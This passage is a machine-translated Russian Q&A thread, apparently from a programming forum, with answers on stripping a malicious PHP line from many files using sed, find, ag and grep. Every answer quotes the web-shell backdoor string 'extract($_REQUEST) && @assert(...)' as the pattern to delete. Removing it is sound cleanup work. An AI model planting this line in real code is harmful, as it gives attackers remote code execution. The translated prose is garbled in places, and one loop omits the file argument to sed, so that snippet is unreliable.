Вы можете комбинировать sed
с find
, чтобы сделать его рекурсивным. Что-то в этом роде:
find. -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
Обратите внимание, что он будет проходить через ваше текущее дерево каталогов и применять sed к каждому существующему файлу " *php". Он также создаст файл резервной копии.bak для каждого измененного (, чтобы вы могли восстановить его позже на всякий случай ). Если вам не нужна резервная копия, замените -i.bak
просто на -i
. В противном случае вы можете удалить резервные копии позже (после того, как убедитесь, что все в порядке )с помощью чего-то вроде find. -name "*php.bak" -delete
.
Этот шаг не поможет вам исправить все прямо сейчас, но определенно может сэкономить вам время в будущем :держите каталог со скриптами подgit
(в идеале это должно быть законченное решение CI/CD, но вы можете начать просто с git ), чтобы вы могли легко откатить / переслать изменения, которые были применены к вашим файлам.
в зависимости от вашей команды, я предлагаю вам использовать для этого цикл for:
for i in file-1.php file-2.php
do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done
также вы можете добавить любой файл, который вы хотите, для i в файле -1.php файл -2.php файл -n.php
Найдите файлы, содержащие вредоносную строку, и отредактируйте их с помощьюsed
:
ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
Я часто полагаюсь наag
для поиска только php
файлов с флагом --php
. Если вы предпочитаете, вы можете сделать то же самое с помощьюgrep -r -i --include \*.php
:
grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
Вы можете использовать описанный ниже метод для удаления строк в файле, который содержит определенный шаблон
Вы можете указать файлы в цикле for
for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done